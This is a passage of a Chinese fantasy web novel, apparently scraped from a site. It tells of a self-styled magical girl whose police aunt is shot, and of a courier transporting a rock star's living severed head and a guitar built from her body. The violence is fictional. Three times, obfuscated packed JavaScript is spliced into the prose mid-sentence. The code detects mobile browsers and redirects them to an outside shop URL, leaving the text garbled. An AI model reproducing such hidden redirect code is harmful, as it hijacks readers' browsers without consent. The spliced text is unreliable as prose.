“你只要活在这,就该遵守这里的法律。”小五说着给人扣上手铐又堵上嘴,回头,这才意识到前面站着自己那本该好好在家写作业的侄女,以及本该好好在警局睡觉的嫌疑犯。 她没有说话,但谁都知道她的疑问:你为什么会出现在这里。 被对方视线扫到,小六条件反射地一抖,随后小声开口道,“姑姑,我…” “你…”小五捏了捏眉心,最后抬眼道,“你给我回去,现在,马上回家。” 小六垂头不说话,小五这才把视线转向小象,质问,“你来干什么的?” “…我现在就回去。”小象抬起双手。 “回去后也别睡了。”小五冷笑,“等着下一轮审讯吧。” “…为什么不问我?”小六低声问。 “什么?”小五皱眉回头,“你——” “为什么不问我?”小六高声喊道,“怎么跑出来了?来干什么的?为什么会出现在这里?为什么不问?为什么?不许无视我!” “这些话我回去会问你。”小五冷声道,“现在,你立刻给我滚回去!” “才不要!”小六抬头直视小五的眼睛,“我才不会回去!我是魔法少女,我要帮助我的朋友们,她,小二她已经是成年人了,想做自己的事凭什么要被你管?” “…那又如何?”小五说。 小六呼吸一致,心口本来雀跃着的心情逐渐冷却了下来,她的头也垂下,喃喃自语道,“每次你都这样…” “无论你是谁。” “你永远不会正视我。” “只要你还在我身边。” “你好像永远听不懂我说的话。” “你就是我身边唯一的亲人。” “明明你才是我身边唯一的亲人。” “我希望你普通地长大。” “你永远不会正视我的成长。” “而不是像我的姐姐那样。” “你和妈妈一点都不一样。” “成为无法被理解的人。” “你从来没有理解过我。” “那样的人无法——” “我根本就不想——” “‘在这个世界上正常地活下去。’” 她们谁都没有听清彼此说的话。 忽然,小六抬起头,几乎是挑衅般地笑着说道,“我听见你说警局里有内鬼的事了,你还以为那是小象?那是我!” 她从怀里掏出讼告机,“它周围的一切我都能听见!是我把那些消息告诉大家的,是我!不是任何其它人。你们不是说根本没有正常人类能潜入警局?正是如此啊,我可是魔法少女!” 随后她不顾小五的脸色继续道,“有通缉犯的尸体出现在警局门口?我做的!她说得没错,我是神的使者!我的裁罪者绝不会输给你们那破手枪!警车轮胎突然爆胎但找不到凶手?我做的!魔弹不会留下任何踪迹你们当然找不到!” “你——” “我怎么了?!”小六握紧双拳喊道,她忽然就流泪了,“你要逮捕我吗?逮捕你的侄女,一个未成年人?!现在你相信我是魔法少女了?明明之前我说了好多次你就是不信的!直到现在才信,凭什么?!就因为你现在发现我确实是个麻烦了?你要把我抓起来了吗?就像是当时抓走我的妈妈,你的姐姐一样?!” 小五大步走向小六,就要把本背在身后的手抽出,小六闭上眼不敢去看,但她没有跑走,她在等什么? “砰——” 是这声枪响吗? 子弹从小五的右方飞来,击穿她的太阳穴,又螺旋着沿不住下落的血液飞行,击中巷口墙面,这才与小五一同落下,一声重一声轻,她还睁着眼,它的身上很干净。 “小六!”小四从一旁跑出,气喘吁吁地抱住了呆楞在原地的小六,嘴里庆幸地不住念叨着,“还好,还好你没事…” “我…”小六喃喃自语,她想低下头去看小五的尸体,但被小四的身体挡住了,什么都看不见。 “你没事了。”小四轻声安慰道,“人类执法者无法质疑你的,你是神的使者,你的一切都是神赐予的礼物,你是被祝福的,你不需要向世人解释任何东西。” “…我不需要。”小六轻声重复。 “你不需要。”小四沉声确认,她又拍了拍小六的肩膀让她先回家休息,见她摇摇晃晃地离开了,这才回身取来小五身上的钥匙解开小二的束缚,并同样轻声安慰对方。 她的动作井然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那就让我等到那一天吧。”小四握住陶笛,仿佛在祈祷一般轻声念道,“直到她无法再盲目信任我的那一天到来之前,我都会一直这样保护她的。” 小五的死亡在本地引起了轩然大波,再加上一夜之间暴动起来的邪教徒,本地居民的安全感顷刻间岌岌可危了起来。“邪教徒枪杀警察”这样的新闻标题一出,针对该教团的调查行动迅速扩大,不仅仅是本教区,该教整体都被打上了“社会极端危险份子”的标签,被严肃整顿。 在这样的环境下,多数教徒投案自首,一方面是为降低惩罚,另一方面也是对自己教友的极端行为感到恐惧,那被视为一直传染性精神疾病。 但依旧有部分教徒没有出现,尤其是小五那张名单上的,比如小二,没人再见过这部分教徒。小四并不在那张名单上,她以另一重罪名被通缉——传播危险物品罪,她手中的陶笛已然成为某种都市传说。 这些与小象无关,从警局回到酒店后她立马收拾东西准备离开,这次她连外卖都没点。打开箱子时,她看见了那熟悉的讼告机,鬼使神差一般,她将它拿起,迅速捏了三下,没有声音。 不对吧,小象突然笑了,小六自己都说过这是一次性的,她这样想着转过身,却发现小六就在阳台上。对此,小象已经不想再问“如何,为什么”之类的问题了,她只是拉开阳台门,和她说,“你该去上学了。” “…我不会再去上学了。”小六回答,“我要走了,我要和小四一起去别的地方,去做我该做,只有我能做到的事。” “用魔法吗?”小象问。 “用魔法。”小六说。 对此,小象已经没有什么好说的了,但小六一直站在阳台上,她好像在等谁去问她些什么,好叫她说出自己想说的答案。 “那这座城市就此失去了一位魔法少女。”小象叹息。 “…骗人。”小六笑了,“小象,你根本不信我是魔法少女。” “我以为我信了呢。”小象说。 “我也以为。”小六说,“明明昨天晚上有那么一瞬间,我也是能用魔法的。” “但你没有呢。”小象说。 “…那时,我该用什么魔法才好呢?”小六迷茫道。 “…我不知道。”小象说,“不如去问问你的妈妈吧。” “…我害她失去了妹妹,还能从她那里得到答案吗?”小六问。 小象不知道。 “算了。”小六摇了摇头,再次看向小象,“我这次来是为了给你报酬,谢谢你帮助我,帮助小四找到了新的道路。” “你会给我什么?”小象问道。 “…本来按照我的预期,目标达成后,无论如何你都该相信我了才对,但你没有。”小六轻声说,“小象,如果你不相信我是魔法少女的话,我好像没办法给你那份报酬。” “那是什么?”小象问。 “一次许愿的机会。”小六说,“任何愿望,只要你相信,我就能实现。” “那我希望世界和平。”小象说,“去吧,去帮我实现这个愿望,虽然我不会相信,也不会去确认结果的。” “…那还有什么意义呢。”小六沮丧地说。 “我会很开心的。”小象说,“因为我无法去做,如果你能替我去做,我会很开心的。” 小六沉默片刻,忽然就感觉肩膀很重,于是她长长地,长长地叹了口气,她忽然想起好多大人都这样叹气过,是不是她也逐渐成为了一个大人呢? “好吧。”她笑了,“我答应你。” “谢谢你。”小象说。 “我要走了,我给的讼告机你要好好带着。”小六说。 “你也好奇我的工作内容吗?”小象问。 “我担心你,小象。”小六说。 “…好吧。”小象点了点头,将讼告机重新收回了箱子角落,随后转身问,“这样就可以了吧?” 阳台上已经没有人在了,远处,高楼间有鸟群飞过。 47. 陷落都市与超能力-上-1 小象当然也把工作搞砸过。 近期,一位年过半百的半退休摇滚巨星终于正式被宣布退休,原因是她要去坐牢了。由于这件事与小象本次工作密切相关,就让我们先来详细了解一下前因。 前因与一件近百年前的旧事有关。上世纪中下,多国政府在战争中深感焦虑,遂冲动消费大量公共资源于研究超自然能力,意图获得超出人类想象的强大力量。这些研究大多持续三十年不到便草草了结,因为战争结束了,结果如何不明,但毫无疑问的是和平不需要超出人类想象范围内的力量。经费归零,研究人员解散,档案解密,大多参与者回到了自己的公寓,带着无法被说出口的荣誉。 然后2000年起始,外星人降临地球,长得和人类差不多的虚拟人像于如今仍被称为“陷落都市”的混乱城市现身,自称“人类至高法庭”,说是要接管人类的未来,首先第一步就是派出大量和平鸽玩偶拟态无人机为地球上的每一个人类安装监控手环,只要是会喘气的都要。据说那手环摘了会爆炸,据说那外星人其实是假的就是政府想控制民众,据说那些玩偶至今还没被全数清除。 各种紧急会议当头,都市街头巷尾出现了些拥有“人类可以想象出的强大力量”的非普通人,自称曾是战争中超能力研究计划的参与者,在面对人类存亡危机时再次站了出来守护和平。从那以后越来越多的超能力者聚集在陷落都市,不知何时起她们拥有了一个组织,“金希斯”,在外星人被赶跑之后该组织依旧作为秘密集会留存,全名为“金希斯超自然能力研究协会”,简称KPA。 KPA对外无首脑或老板这样的角色,倒是有些负责与外界沟通的话事人,比如说小一,她是位不著名预知超能力者,也是小象本次任务的委托人。 前因说完,让我们谈谈经过。小一宣称,她预知到了一起会造成陷落都市大规模动荡的事件,遂拜托小象将事件的核心提前送走,并委派协会得力干将——小二,协助运输。当然,仅仅是“预知”这样给不出证据的理由是不够的,得益于警长小三与她同事的不懈努力,潜藏在水面下的阴谋被提前发现—— ——那位摇滚巨星小四曾是超自然研究人体实验的受试者。 “…这是什么阴谋?”小象看着手里的调查报告疑惑,“你拿这个给我看是想表达什么?阴谋论?” 任务开始之前,小象被邀请与委托人小一对谈,并了解以上全部内容。她对于“前因”早就知晓大半,但“经过”却在被解释后依旧令她感到疑惑。原因有两部份,一来是小四的身份,看个人经历对方显然也是超能力者,并且是KPA的成员,若说小四“可能”会造成大规模动荡就要去坐牢,那其它超能力者又该如何处理?二来还是小四的身份,她是人类,而小象记得自己的的运输物范围可不包括人类。 行动开始前,阳光还不错的高阔会议室内共有四人在。 闻言,语气本就有些不耐烦的小三直接皱起了眉,她没有解释,而是扶了扶警帽,看向方桌对侧的小一开口道,“我认为押送嫌疑人这件事不需要这位,送货员,的帮助。你也看到了,她对都市内的情况并不了解,将这件事交给我们警署就好,SCPD与你们合作过多次,什么时候叫人失望过?” SCPD是陷落都市区域内的地方警察部门,其中就数小三所在的北部公安局规模最大。从这位年约三十四五的警长身上也能看出,由于该地区多发异常事件,该警署装备尤其完善,各位领导人也懂得合作的重要性。 但是对于“手里的工作被一位外来人员插手”的情况,小三表示抗拒。 “不要着急啦,来,喝茶喝茶。”小一笑着推了推红框眼镜,语气里没有丝毫的不耐烦,抬手又为几人身前的纸杯又添了些茶汤。她年约三十,生得额外早的笑纹让这位预言家看着和蔼,根本不像个主动提出把同组织成员抓去坐牢的人。 茶水满上,坐在小一右侧的小二拿起喝了半杯又垂下头不说话了,就像是她先前一直保持的那样。她身上属于军人的气息明显,整齐得像一张纸的头发,颈部蔓延到侧脸的疤痕,时刻直得刻意的背部,起身落座时像是有人监督般的标准顺序,都叫这位年纪四十多的念动力超能力者散发出生人勿进的气场。 “多谢。”小三说着但并没有喝,而是继续看向小象问道,“那请问你还有哪不清楚的呢?” “我只清楚了‘你们想寄出的货物是一个曾经接受过人体实验的超能力者’这一件事。”小象也摸来茶杯喝了口,红茶温度正好。 “你只要知道货物内容是什么不就够了?了解更多是想干什么?推销保险?”小三轻笑一声问道。 “…那是个人对吧?”小象疑惑。 “不然呢?”小□□问。 “你觉得‘人’是能被运输的货物?”小象问道,“好吧防止你真的回答我,我来告诉你,不是。” “你以为我会不知道?”小三不耐道,“你看了就会知道为什么她能被‘运输’了,到时候别被吓破胆,那可和你曾经送的纸箱子不一样。” “…好吧。”小象又看向小一问道,“小四作为你们组织成员会造成麻烦的话,你们自己不能处理吗?” “这个呀。”小一有些不好意思地说,“以前确实是由我们自己处理的,但这次情况有些特殊…” “具体是指什么?”小象问。 “…就是…”小一尴尬地笑了,“协会里没人愿意动手。” “嗯?”小象更疑惑了。 “她想做的事,是复仇。”小二突然开口了,她声音轻而沙哑,若不是会议室本就安静,旁人压根听不见她在说什么。 “向对她做人体实验的国家?”小象问道,“那她可以说一直都在这样做,并且已经大获成功了吧。” 作为摇滚巨星,小四不愧“巨星”之名,举手投足间都在尽情展现自己的态度。作为反秘密主义先锋社交媒体红人,自约二十年前走红之后,她从不对自己所遭受过的做丝毫遮掩:不仅多次在各平台公开发表“我一直盯着你们”之类的言论,接受采访时主动透露实验细节,甚至出了一整张以反战与战争伤痛为主题的专辑,生怕世界忘记了她与她的故事。 因其影响力强劲,多国外交部门及战争实验计划者站出来对受害人公开道歉,这已经是十多年前的新闻了。但就在上个月,小四才发了条动态表示下雨天自己伤口好痛,下方粉丝多表示痛就吃药记得写新歌。 只有内部成员知道小四也是KPA的一员,也只有内部成员知道小四和小二一样也是念动力超能力者,能精准控制自身体内任何部分,能控制声带颤动,当然也能主动屏蔽自己的痛觉。 “嗯…可能小四有自己的想法?”小一不确定道,“但是,一来我们大多能理解她为什么这么做,二来,小四她…算是我们协会的主要资助人,大家都不太想做这种事情。” 小象看了看她,又看向面色不变的小二,疑惑道,“我们?大家?” “啊,啊这个啊…”小一慌忙摆手,眼镜后的纠结表情让她的五官都要错位了,“我知道这个有点奇怪,但是——” “这就得提到她要做的事情了。”小三开口接过话题,“她用自身能力做成了一把史无前例的邪恶吉它,并计划在下次演出中使用,以煽动粉丝情绪。她一场演唱会规模五万人起,更别提还有线上,到时候可就不是公安能解决的问题了。” 所以是为了大义,小象看着一点点把手缩回去放回身前的小一,好奇为何一个超能力组织的话事人会是这番模样。但比起好奇委托人这种危险想法,她还是去好奇一下货物本身吧。 “…邪恶吉它。”她问道,“有多邪恶?” “你看过就知道了。”小三不耐道。 “…在我做的梦里,绿地体育场里…很多人被踩在了地上。”小一双手交叠握住茶杯,叹了口气说,“我…尝试和她联系过,但她很久不接我的电话了。如果你们一会要去见她,就把我也带上吧。” “不行。”小三毫不犹豫地拒绝了,“那场面还是别看了,和你做的梦比起来大概也好不到哪去。” “那我也得去。”小一叹了口气,“好久没见她了,正巧也去看看她。” “那就做好准备吧。”小三摇了摇头。 “…什么场面?”小象好奇,“她私生活不太好吗?” “你可真乐观。”小三有些羡慕地冷笑,“到了这座城市就别再抱有这种美好幻想了。” “…小四她,审美有些特别。”小一委婉地说,“是那个什么…哥特?” “猎奇。”小三指正。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小一快步走入屋内,小象顿了顿也跟了上去,随后才是小二。 玄关拐角之后的一切都与寻常家宅建筑没有任何关系了,这里像是实验室,又像是某种工厂,大量比人还大的不明生物组织标本玻璃片像床单一样悬挂在一根根横穿屋内的细绳上,在惨色白炽灯的投射下宛如鬼影。小三带路,她毫不犹豫地扒开那些挡路的玻璃片,几张碰撞在一起发出风铃般的响声。 越是前进,那消毒水与血腥气就越是无法掩盖,无论如何,这里不像是一个摇滚巨星,或者说任何人的家。 带路者停顿,转身,小象明白前方就是小四所在,小一也转身等待,让出了第一位面见小四的来客位置。 于是小象走上前,拉开最后一层玻璃隔断,那晃开的一团团未被标注信息的不明物质像是某种菌类的横切面,或者蓝空下的泡泡。 泡沫之后是一处工厂般的工作间。 眼前空间至少占据建筑面积的一半,而巨大玻璃水缸又占去一半的一半,被浸泡在微微发蓝不知名液体中的东西似乎是一把吉它。说“似乎”,是因为制作它的人灵感来源一定相当不符合道德伦理规范:它的每个零件都太像是从人身上拆下来的了,如筋一般的弦,调音纽扣像打磨过的指甲,琴颈凸起如脊椎,人皮质感的琴桥,以及那音孔中呼之欲出的紫红血肉,它甚至还在跳动着,连带整把吉它一同发颤。 那不会是心脏吧?小象总觉得就是这样。 “如何?”她的身侧传来了询问建议的声音,于是她转头,与一张年过五十的华丽面孔对上了实现,她低头,没有了,只有面孔。她身侧只有一颗颈椎处链接着一块与脖颈同宽器械的头颅,没有身体,头发盘着以防其被卷入颈下的齿轮,却附带相当华丽的烟熏妆。 她原被摆放在一处工作台上,有机械手将头颅捧起,于是小象也抬头,那张脸还在等待她的回答。 “…太邪恶,太摇滚了。”小象回答。 “就该这样!”对方满意道,她笑了,嘴角牵起的纹路带着画在脸上的黑色星星一起扭动,“我是小四,欢呼时间就省略吧,要给你签个名吗?” 48. 陷落都市与超能力-上-2 这是颗值得万众瞩目的头颅,声音是与唱片中同样的沙哑低沉,带着上了年纪后独有的浑厚感,小象不由得再次低头看向其颈部,明明声带或气管或其它人该有的东西根本就不在那。 “那就不用了,我不怎么听歌,也是最近才认识你的,不好意思。”小象挠了挠头问道,“为什么你只有个头呢?” “事到如今才问?”小四用夸张的语气说道,“小不点,如果你六年前来问的话我倒是有故事能讲给你听,现在的话…就当是我为了艺术献身了吧。” “…艺术?”小象看向了那把吉它,问道,“那个是你做的?” “是。”小四得意地笑了,“我,用我做的。” 就在小象消化这句话的时间里,身后的玻璃标本隔断又被拉开了。 “小四——”小一跑了进来,从机械手中一把提起小四的脑袋抱在怀里,她像是看见了老朋友那样热切地问候道,“最近怎么样了?总感觉你轻了些,没好好吃饭吗?” 机械手慌忙挥舞,意图夺回头颅。 “…你脑子有问题吗?”小四的沙哑声音闷闷地从小一怀中传出,“你觉得有那种可能吗?赶紧放开我我的脸要花了!” “诶呀…”小一这才依依不舍地放任机械手拿走小四的头,她的白衬衫果然黑了一大片。 “你反应倒是还行。”小三从身后走来,意外地看向小象说道,“我本来都准备好你要吐在这儿然后到处瞎跑,让同事守在门外准备好抓你了。” “看来我有减少你们的工作量。”小象说,“不客气。” 小四不满地晃了晃,嘀咕道,“怎么有条子?我说今天怎么这么吵…” 看着那颗脑袋,小三长长地叹了口气,随即走上前出示证件并开口道,“小四,SCPD将以危害公共安全罪将你逮捕,有什么话想说吗只剩个头的老东西?” “咦是我终于开始老年痴呆了吗?我怎么不记得自己还干过那种事?”小四疑惑道,她边上一堆机械手突然就出现了,有的帮她补妆有的帮她理头发,好不热闹。 “就快了,毕竟证据确凿。”小三看了眼那吉它,迅速厌恶地别开了视线,“这屋子比上次我来时更恶心了,你最好有记得留着能证明这些标本合法的文件,别像购物小票一样随地乱丢。” “哦…是你。”小四的眼珠缓缓转向小一,她嗤笑,“好一个老朋友,见面时除了拥抱还带给我这样的礼物?” “我,诶,就是,那个。”小一被看得不知道该怎么放手。 “…理由呢?”小四看了眼角落里默不作声的小二,问道,“除了‘危害公共安全’,你我都知道这玩意在这里就是个笑话吧,把我卖了至少让我知道价钱如何?说不定我也能付得起呢,毕竟你们都知道的吧,我可有钱了。” 小一不说话,小四又咧开嘴想说什么,被小三不耐烦地打断。 “但逮捕你只要这一个理由就够了。”她用大拇指指了指吉它,干呕一声道,“这玩意…真亏你下的了手,恶心!恶心死了!” “这叫物尽其用!再说我又没用来路不明的材料,来源就在这,我这,条子你看明白了吗?”小四纠正,“你个整天就知道规章制度的条子懂个屁啊,世界需要艺术!” “你这不是艺术你这是视网膜污染物!”小三怒道。 “你自己接受不了而已!要我提醒你我的粉丝数量吗?”小四嗤笑,“听了别吓哭,还是说你也偷偷关注我了?” “关注你干什么?每天找屎吃?” “嚯谁知道,我可不像某些人会管别人的个人爱好。” “爱好个屁!你这玩意要对正常人无害我当众把它吃了!” “你问过我的意见了吗食人狂?咱们市有你这样偷藏证物的警察真是群众之幸!” 总之,她们吵起来了,小象看向小一,问道,“所以,你要我送的就是,这颗头。” “…是的。”小一看着吵架的两人,忽然笑了起来说,“还有那把吉它,怎么样,您愿意接手这份委托吗?” “说实话,你更应该拜托我那位负责抓人的同事,她在送人这一点上效率高许多。”小象说,“不过既然任务已经发到我手上了,我就不会拒绝。” “…我也不想真的让她像个犯人一样…”小一看着小四轻声道。 看她这幅样子,小象也意识到对方似乎也并不是真心像举报小四让她坐牢的。 “那不如把她的吉它送走好了?”小象提议道,“没了吉它,那她就也不会再‘危害社区公共安全’了吧?” 小一正想开口说些什么,小四却忽然转过头,托着她的那只近乎像是要拿手里的头撞碎小象的头一样飞速迫近,这飞头让小象不由自主后退一步。 “你在开什么玩笑?”她将眼睛张到最大,眼周的皮肤纹路与花纹一同堆积,喉咙深处恐吓一般发出声音,“把我的头和身体分开?你想杀了我吗?” “…这是在开玩笑?”小象不确定道。 “认真的。”小四否认,“没了这把吉它的话我…” “就是这样了。”小一轻轻地抱起了小四的头,有一下没一下地拍着颅顶说,“总之,还是让您去坐牢更好点!” “我以前怎么没发现你还是个卫道士?”小四质问。 “嗯…嘿嘿。”小一笑了。 “你很得意啊。”小四嗤笑,“也是,年轻人,趁现在多笑笑,你总有一天也会理解我的。” 虽然说小四似乎不太愿意但她也没办法抵抗,为确保最基础的人道主义遵循,小象在这乱糟糟的吉它车间里找了块布把这颗皱巴巴的头裹好放进了自己的箱子里,但这下箱子中就放不下那把吉它了,她转头,才发现自己还得想办法把那吉它从水缸里捞出来。 水缸呈封闭式,有个飞机仪表盘一样的操作台但小象根本不会用,不如说她根本就不想碰那把吉它。 “…我来。”小二说着靠近了操作台,她只看了两眼便精准地按下几处按钮,水面迅速下降,吉它被几根看不见的线悬挂在半空中,她又按下按钮,水缸的侧方滑动着开了一处小门,她进入其中将接口断开,很快便带着那把溺水吉它回到了氧气之中。 “…你还挺熟练的。”小三一直盯着小二行动,疑问道,“你认识这些东西?” “认识,这些基本和我们以前所在实验室里的设备一模一样。”小二说着将吉它放置在一旁的手术台上,随后又背过手站到后方去了,看不出有什么想法。 小象比划了一下,发现这吉它正好能被放进箱子中,只要额外再给小四的头找个容器就好。 “用这个吧!”小一笑着递出一个双肩背式猫包,内附软垫与透气网格,速干面料轻薄结实,为某运动品牌与宠物食品工厂的联名款产品之一,因受众群体重合而大受好评。 “…我询问一下当事人。”小象转头问,“你有意见吗?” “我能?行了别废话,把那根线带上。”小四用机械手指挥,“还有角落里那根,对,保养油也带上,清洁液也是,算了把清洁包整个带上吧别挑了。” 小象一边收拾一边说,“你倒是看得开。” “不然呢?我这样上吊都费劲。”小四几乎称得上平静,“年轻人,阅历多了就能做到我这样波澜——等等你不许碰,那是我的吉它只有我能弹——” “哦…”小三吓了一跳收回手背在身后,不满道,“我只是在检察,检察懂吗你这法外狂徒,谁要弹这非法造物啊我都嫌臭!” 说起来,现在周围都是消毒水的气息闻不到别的味道,万一这把吉它把箱子弄脏了怎么办呢?小象这样想着,又找了块布,在小四不满的声音中把吉它给仔仔细细包了起来。 “这样就可以了吧。”小象背起了背包,拎起箱子。 “最后一件事。”小四的声音从身后传来,“打开我的手机,打开备忘录复制第一条,发送到手机主页的所有软件上。” “很遗憾地通知大家,本人自此正式推出乐坛,以后我们再也见不到了。——爱你们的小四。” 几人离开小四的家后,围在外面的武装警察一窝蜂地踏进门槛,快门与玻璃碰撞声让屋子内听上去像某处后厨,小三嘱咐了她们几句,又跟上了几人。 “你跟来干什么?”小象问道,“接下来我和小二一起去机场,监狱那边有人来接,你难道要送我们去吗?” “对。”小三掏出车钥匙,“这事不能出差池,我看着你们上去。” “哈哈看看是谁舍不得都市摇滚巨星?”小四从猫包里发出声音,小象总觉得自己背了个音响。 “我不听摇滚。”小三面不改色地拉开车门,小一坐进副驾驶,剩下两人一头一吉它在后座。 “我可不仅仅只有这一种价值,想想咱们市的旅游部与财政部吧,啧啧啧。”小四的声音又从怀里传出,现在小象觉得自己抱着个电台广播。 “那又如何?我是公安的。”小三丝毫不在意。 “哦哦那你们的年度预算一定很充足吧。”小四的声音像是在羡慕。 “…啧。”小三不说话了。 “诶呀…我们城市GDP确实一直不太行呢。”小一突然像个饭桌上的长辈一样开始了经济话题,“没想到这也干扰到了公安财政。” 不仅仅是陷落都市,世界上绝大多数国家的GDP都在21世纪最初五个年头长势不太好看,后来才逐渐恢复起来,但比起20世纪末许多金融家预测的数字相比还是不够喜人,说起来这还与小象的就职单位道德法庭有些关系。 由于道德法庭的存在与行动方式,世界上大大小小的企业多额外设立了对内审计部门,不仅仅是针对财政的审计。所谓打碎一扇再造一扇就有两扇窗,但造了一扇再加保护那还是一扇窗,世界各地的生产增长因各种各样的顾虑而没能符合上世纪人们的预期,这也是没办法的事。 再加上近年间经济诈骗案层出不穷,曾风靡一时的投资行业也逐渐被保险行业占据上风。由于陷落都市存在着各种各样的异常问题,位于其中的企业也额外担心自家员工与大楼的安全保障问题,这里与其它经济增长势头正猛的城市相比财政确实吃紧。 不过可能是因为该城市韧性十足,在术后恢复与建筑重建工程方面,这里能提供的服务算得上世界顶级。 陷落城市所遇到的问题看似奇特,但实际上是未来所有城市都会遇到的问题,这里就像是一个实验室,每个问题都要来这过一遍,再去别的地方实际存在。 所以,这里永远处于混乱之中。 “毕竟每年要分不少钱去重建被那些粗手粗脚的人砸坏的建筑嘛,瞧这事闹得。”小四完全是在说风凉话,“诶说起来上个月因为传染病而停止营业的那家预约制空中阁楼餐厅重新营业了吗?我走之前还想再尝一口她们家一份六位数的招牌点心啊,说起来我也是常客了不用预约要带你们去——” “闭嘴!”小三猛打方向盘试图让小四停止说话,但受害者只有差点被安全带勒窒息的小象。 此起彼伏的鸣笛声中,小四的笑声相当清晰,可能是因为她的发声源在车里吧。 “那家餐厅应该不会再开了…”小一惋惜道,倒是完全不受影响,因为她提前拉住了扶手,“那位老板被之前的毒气事件波及,我记得所有受害人都失去了味觉,对吧小二?” “…是的。”小二平静地回答,她坐姿动都没动过,“事情发生在内城区,是超能力者所为,事后毒气制作者也被关押进了特殊罪犯收容所。” 和“市区”一样,“内城区”也是个没具体规划范围的民间别称,具体指几人即将靠近并穿过的区域,位于市区西部,看那些格子高楼,这里在四五十年前也是称得上市中心的繁华地段。但随着新世纪市政府带着新的商业区规划迁移,这片平原就只剩下些搬不走的人,老旧街区,以及在市区上班的租房者。由于城市规划者甚少看向这块老地盘,它至今没能得到些新的交通路线或就业政策什么的,只有人越来越多。 公共设施随着时间越发老旧不说,因为房屋供应不足,德不配位的房价也逐渐变成了这里的特产。 但那家餐厅却是位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296768|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于市区商业街顶层,直线距离都有近十公里,怎么想都和这内城区挨不上吧,小象有些疑惑地看向窗外,破洞墙上各色涂鸦彩绘与标了“完工期不定”的施工网格墙离得很近,都是风景的一部分。 这里车不好开,行径速度慢,道路拥挤狭窄还是次要的原因,重点在于时不时会有人灵机一动窜上机动车道。没人想来这里开车,但如果想上高速又必须从这里走,导致这里每天都很堵。 而那监狱也是小四即将度过余生的地方,太平洋特殊罪犯收容所是位于深海的监狱,用于关押拥有超自然能力或对社会危害过大的人类或物品,由联合国负责管理。小象曾送过几次“物品”过去,送人还是第一回。 闻言,小三又笑了起来,“希望你吃得惯那里的牢饭,哦忘了你大概没法在吃饭了吧哈——” 车辆被截停了,小象这次有提前抓稳把手,她不可置信地往窗外看,谁敢截停警车? 车外是本该按交通路灯通行的十字路口,但或许是因为此时警车违规停在了路中间,数十辆机动车从四个方向直接围了过来表达自己的不满。几个轮子的都有,看那回旋式行车方向与空空如也的车牌位置,来者的目的显然不是简单的堵车事故。 见警车急停,打前头的一位摩托驾驶人高呼,“把小四大人交出来——” “把大家的小四交出来!” “绝对不能放她们走啊,为了小四大人!” “小四大人是我的!” 看来这些人比起交通规则更热爱摇滚。 鸣笛踩上节奏,于是这些高呼声也此起彼伏了起来,后方的车辆也不甘示弱地按起了喇叭,好吧,或许她们中也有被迫堵车的真无辜群众。 “该死的…”小三摸出对讲机呼叫,“这里是SCPD8051,我——” 她没说完便急忙解开安全带侧身,下一秒,一根钢管刺入驾驶座所在位置,看其动作完全没考虑过要让司机活着。她一怒之下根本顾不上询问座驾的意见,一脚把车门与堵着车门的人踹飞至下车安全距离外。 “诶呀…”小一看着窗外,担忧道,“这得堵到什么时候起…” “你——”小三也想问这人脑子是不是有什么问题了,但比起这,门外蜂拥而来的狂热粉丝显然更值得她费心。 大多只是普通人,但几乎所有人手上都拿着武器,而现在她们暂时没有将这警车撕开的原因——小三滑动眼珠看向车后座那颗猫包里的头颅。 “看来我的粉丝们舍不得我。”小四无奈地叹了口气。 “你的粉丝和你一样喜欢犯法。”小三冷笑一声,对小象说,“你抱着她别动,我的同事很快会抵达现场,到时候你——” “哗啦——”这是小象所在座位车窗被打碎的声音,这次来者没用武器,一只带着金属护臂的手破窗而入,不知从哪个世纪穿越而来的骑士不耐地挥开碎玻璃意图大展拳手,小象只来得及护住自己与怀中的猫包避开碎屑,就见那比她们任何一个人的头都要大的手向她袭来。 “小四大人是我的!”那位狂热粉丝骑士这样说道。 情急之下,小象想往另一个方向缩,但她忘了解开的安全带限制了她的安全距离,眼见那反光金属手甲就要碰到她的头,后侧反,一只手从她头侧伸出握住了来者,并像是在表达友谊一样五指捏紧。 小二还在位置上,坐姿与她上车时相比没有任何变化,仅是伸出左手与这跨过时代领域车窗座位的来者相握。小象为之侧目,双方因这接触的诞生停顿一瞬间,小二手臂突然朝身内一扣,要掰手腕一样将五指骤然紧缩,随着一道令人牙酸的金属摩擦声响起,小二依旧不动,碎窗者发出了几乎让小象耳鸣的惨叫。 窗外人为自己的手臂健康一个劲地挣扎着,每次抽搐都会让这负伤警车颤动,碰撞与扭动让其金属护具开花一样碎开一瓣瓣,颤抖着皲裂,下落,露出工业化的证据,就像是皮肤病人落下的碎屑一样落在小象身上。最后没有螺丝撑得住了,整个护具骤然脱落,仅剩小二手里的那部分还被二人紧握着,她将手臂再顺时针转了一圈,咔啦,这次碎的是人的关节,她这才放开对方,任由其滚落在车外地面自由哀嚎。 整个过程不超过十秒,小象顶着一身金属与玻璃碎屑看向面无表情甩了甩手的小二,并注意到她手心也流血了,毕竟她可没带防具,被玻璃扎破皮肤也正常。 正常吗?小象看着对方迅速恢复如初的手掌心,疑惑地坐正。 “呜啊——”小四感叹。 